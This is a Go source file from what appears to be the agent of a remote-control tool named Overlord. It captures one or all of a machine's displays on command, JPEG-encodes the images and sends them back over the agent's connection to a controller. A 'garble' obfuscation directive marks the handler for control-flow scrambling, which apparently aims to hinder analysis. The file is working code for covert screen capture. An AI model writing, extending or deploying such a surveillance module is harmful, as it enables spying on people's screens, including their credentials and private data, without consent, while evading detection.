overlord/Overlord-Client/cmd/agent/handlers/screenshot.go

package handlers

import (
	"bytes"
	"context"
	"errors"
	"image"
	"image/draw"
	"image/jpeg"
	"log"
	goruntime "runtime"
	"runtime/debug"
	"sync"
	"time"

	"overlord-client/cmd/agent/capture"
	rt "overlord-client/cmd/agent/runtime"
	"overlord-client/cmd/agent/wire"

	"github.com/kbinani/screenshot"
)

var (
	monitorCountFn            = capture.MonitorCount
	displayBoundsFn           = capture.DisplayBounds
	captureRectFn             = screenshot.CaptureRect
	thumbnailCaptureDisplayFn = capture.CaptureDisplayRGBAThumbnail
	thumbnailCaptureCleanupFn = capture.CleanupThumbnailCapture
	screenshotScavengeMu      sync.Mutex
	screenshotScavengeTimer   *time.Timer
)

const dashboardThumbnailMaxHeight = 1080

func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays, dashboardThumbnail bool) error {
	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2

	if allDisplays {
		log.Printf("screenshot: capturing all displays")
	} else {
		log.Printf("screenshot: capturing primary display")
	}

	defer func() {
		if r := recover(); r != nil {
			log.Printf("screenshot: panic recovered: %v", r)
			wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
				Type:      "command_result",
				CommandID: cmdID,
				OK:        false,
				Message:   "screenshot capture panicked",
			})
		}
	}()

	var img *image.RGBA
	var bounds image.Rectangle
	var err error
	if dashboardThumbnail && goruntime.GOOS == "windows" {
		img, _, bounds, err = captureDashboardThumbnailWindows(allDisplays)
		thumbnailCaptureCleanupFn()
		defer scheduleScreenshotHeapScavenge()
	} else {
		img, _, bounds, err = captureScreenshotImage(allDisplays)
	}
	if err != nil {
		log.Printf("screenshot: capture failed: %v", err)
		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
			Type:      "command_result",
			CommandID: cmdID,
			OK:        false,
			Message:   err.Error(),
		})
	}

	var buf bytes.Buffer
	quality := 92
	if dashboardThumbnail {
		quality = 85
	}
	opts := &jpeg.Options{Quality: quality}
	if err := jpeg.Encode(&buf, img, opts); err != nil {
		log.Printf("screenshot: jpeg encode failed: %v", err)
		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
			Type:      "command_result",
			CommandID: cmdID,
			OK:        false,
			Message:   err.Error(),
		})
	}

	jpegData := buf.Bytes()
	log.Printf("screenshot: captured %dx%d, encoded %d bytes", bounds.Dx(), bounds.Dy(), len(jpegData))

	screenshotResult := wire.ScreenshotResult{
		Type:      "screenshot_result",
		CommandID: cmdID,
		Format:    "jpeg",
		Width:     bounds.Dx(),
		Height:    bounds.Dy(),
		Data:      jpegData,
	}

	if err := wire.WriteMsg(ctx, env.Conn, screenshotResult); err != nil {
		log.Printf("screenshot: failed to send screenshot result: %v", err)
		return err
	}

	return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
		Type:      "command_result",
		CommandID: cmdID,
		OK:        true,
	})
}

func scheduleScreenshotHeapScavenge() {
	screenshotScavengeMu.Lock()
	defer screenshotScavengeMu.Unlock()
	if screenshotScavengeTimer != nil {
		screenshotScavengeTimer.Stop()
	}
	screenshotScavengeTimer = time.AfterFunc(time.Second, func() {
		screenshotScavengeMu.Lock()
		screenshotScavengeTimer = nil
		screenshotScavengeMu.Unlock()
		debug.FreeOSMemory()
	})
}

func captureDashboardThumbnailWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
	monitorCount := monitorCountFn()
	if monitorCount <= 0 {
		return nil, 0, image.Rectangle{}, errors.New("no active displays available")
	}
	if !allDisplays {
		img, err := thumbnailCaptureDisplayFn(0, dashboardThumbnailMaxHeight)
		if err != nil {
			return nil, 0, image.Rectangle{}, err
		}
		if img == nil {
			return nil, 0, image.Rectangle{}, errors.New("dashboard thumbnail capture returned no image")
		}
		return img, 0, img.Rect, nil
	}

	type thumbnailPart struct {
		bounds image.Rectangle
		img    *image.RGBA
	}
	parts := make([]thumbnailPart, 0, monitorCount)
	minX, minY := int(1e9), int(1e9)
	monitorBounds := make([]image.Rectangle, monitorCount)
	maxMonitorHeight := 0
	for i := 0; i < monitorCount; i++ {
		bounds := displayBoundsFn(i)
		monitorBounds[i] = bounds
		if bounds.Dy() > maxMonitorHeight {
			maxMonitorHeight = bounds.Dy()
		}
		if bounds.Min.X < minX {
			minX = bounds.Min.X
		}
		if bounds.Min.Y < minY {
			minY = bounds.Min.Y
		}
	}
	if maxMonitorHeight <= 0 {
		return nil, 0, image.Rectangle{}, errors.New("invalid dashboard monitor bounds")
	}
	layoutScale := 1.0
	if maxMonitorHeight > dashboardThumbnailMaxHeight {
		layoutScale = float64(dashboardThumbnailMaxHeight) / float64(maxMonitorHeight)
	}
	for i, bounds := range monitorBounds {
		monitorMaxHeight := int(float64(bounds.Dy()) * layoutScale)
		if monitorMaxHeight < 1 {
			monitorMaxHeight = 1
		}
		img, err := thumbnailCaptureDisplayFn(i, monitorMaxHeight)
		if err != nil {
			return nil, 0, image.Rectangle{}, err
		}
		if img == nil {
			return nil, 0, image.Rectangle{}, errors.New("dashboard thumbnail capture returned no image")
		}
		parts = append(parts, thumbnailPart{bounds: bounds, img: img})
	}

	type positionedPart struct {
		img  *image.RGBA
		offX int
		offY int
	}
	positioned := make([]positionedPart, len(parts))
	canvasW, canvasH := 0, 0
	for i, part := range parts {
		positioned[i] = positionedPart{
			img:  part.img,
			offX: int(float64(part.bounds.Min.X-minX) * layoutScale),
			offY: int(float64(part.bounds.Min.Y-minY) * layoutScale),
		}
		if right := positioned[i].offX + part.img.Rect.Dx(); right > canvasW {
			canvasW = right
		}
		if bottom := positioned[i].offY + part.img.Rect.Dy(); bottom > canvasH {
			canvasH = bottom
		}
	}
	if canvasW <= 0 || canvasH <= 0 {
		return nil, 0, image.Rectangle{}, errors.New("invalid dashboard thumbnail bounds")
	}
	canvas := image.NewRGBA(image.Rect(0, 0, canvasW, canvasH))
	for _, part := range positioned {
		dst := image.Rect(part.offX, part.offY, part.offX+part.img.Rect.Dx(), part.offY+part.img.Rect.Dy())
		draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src)
	}
	return canvas, 0, canvas.Rect, nil
}

func captureScreenshotImage(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
	if goruntime.GOOS == "windows" {
		if img, displayIndex, bounds, err := captureScreenshotImageWindows(allDisplays); err == nil && img != nil {
			return img, displayIndex, bounds, nil
		}
	}

	n := screenshot.NumActiveDisplays()
	if n == 0 {
		return nil, 0, image.Rectangle{}, errors.New("no active displays available")
	}

	displayIndex := 0
	if allDisplays {
		minX := int(1e9)
		minY := int(1e9)
		maxX := int(-1e9)
		maxY := int(-1e9)

		for i := 0; i < n; i++ {
			b := screenshot.GetDisplayBounds(i)
			if b.Min.X < minX {
				minX = b.Min.X
			}
			if b.Min.Y < minY {
				minY = b.Min.Y
			}
			if b.Max.X > maxX {
				maxX = b.Max.X
			}
			if b.Max.Y > maxY {
				maxY = b.Max.Y
			}
		}

		bounds := image.Rect(minX, minY, maxX, maxY)
		img, err := screenshot.CaptureRect(bounds)
		return img, displayIndex, bounds, err
	}

	minX := int(1e9)
	minY := int(1e9)
	for i := 0; i < n; i++ {
		b := screenshot.GetDisplayBounds(i)
		if b.Min.X <= minX && b.Min.Y <= minY {
			minX = b.Min.X
			minY = b.Min.Y
			displayIndex = i
		}
	}
	bounds := screenshot.GetDisplayBounds(displayIndex)
	img, err := screenshot.CaptureRect(bounds)
	return img, displayIndex, bounds, err
}

func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
	monitorCount := monitorCountFn()
	if monitorCount <= 0 {
		return nil, 0, image.Rectangle{}, errors.New("no active displays available")
	}

	if !allDisplays {
		bounds := displayBoundsFn(0)
		img, err := captureRectFn(bounds)
		if err != nil || img == nil {
			return nil, 0, image.Rectangle{}, err
		}
		return img, 0, img.Rect, nil
	}

	type monCapture struct {
		bounds image.Rectangle
		img    *image.RGBA
	}
	parts := make([]monCapture, 0, monitorCount)
	minX, minY := int(1e9), int(1e9)
	maxX, maxY := int(-1e9), int(-1e9)

	for i := 0; i < monitorCount; i++ {
		bounds := displayBoundsFn(i)
		img, err := captureRectFn(bounds)
		if err != nil || img == nil {
			return nil, 0, image.Rectangle{}, err
		}
		parts = append(parts, monCapture{bounds: bounds, img: img})
		if bounds.Min.X < minX {
			minX = bounds.Min.X
		}
		if bounds.Min.Y < minY {
			minY = bounds.Min.Y
		}
		if bounds.Max.X > maxX {
			maxX = bounds.Max.X
		}
		if bounds.Max.Y > maxY {
			maxY = bounds.Max.Y
		}
	}

	type scaledPart struct {
		img  *image.RGBA
		offX int
		offY int
	}
	sp := make([]scaledPart, len(parts))
	for i, part := range parts {
		sx, sy := 1.0, 1.0
		bw := part.bounds.Dx()
		bh := part.bounds.Dy()
		iw := part.img.Rect.Dx()
		ih := part.img.Rect.Dy()
		if bw > 0 && iw > 0 {
			sx = float64(iw) / float64(bw)
		}
		if bh > 0 && ih > 0 {
			sy = float64(ih) / float64(bh)
		}
		sp[i] = scaledPart{
			img:  part.img,
			offX: int(float64(part.bounds.Min.X-minX) * sx),
			offY: int(float64(part.bounds.Min.Y-minY) * sy),
		}
	}

	cW, cH := 0, 0
	for _, s := range sp {
		if rx := s.offX + s.img.Rect.Dx(); rx > cW {
			cW = rx
		}
		if ry := s.offY + s.img.Rect.Dy(); ry > cH {
			cH = ry
		}
	}

	canvas := image.NewRGBA(image.Rect(0, 0, cW, cH))
	for _, s := range sp {
		dst := image.Rect(s.offX, s.offY, s.offX+s.img.Rect.Dx(), s.offY+s.img.Rect.Dy())
		draw.Draw(canvas, dst, s.img, s.img.Rect.Min, draw.Src)
	}

	return canvas, 0, canvas.Rect, nil
}